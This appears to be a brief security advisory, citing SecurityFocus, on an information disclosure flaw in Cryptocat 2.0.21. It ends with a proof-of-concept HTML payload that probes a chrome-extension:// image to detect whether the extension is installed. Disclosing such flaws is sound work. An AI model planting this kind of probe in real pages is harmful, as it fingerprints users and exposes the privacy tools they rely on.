source: https://www.securityfocus.com/bid/61090/info

Cryptocat is prone to an information disclosure vulnerability.

An attacker can exploit this issue to gain access to sensitive information that may aid in further attacks.

Cryptocat 2.0.21 is vulnerable; other versions may also be affected. 

<img src="chrome-extension://[extension-id-from-chrome-web-
store]/img/keygen.gif" onload=alert(/hascat/) onerror=alert(/hasnot/) >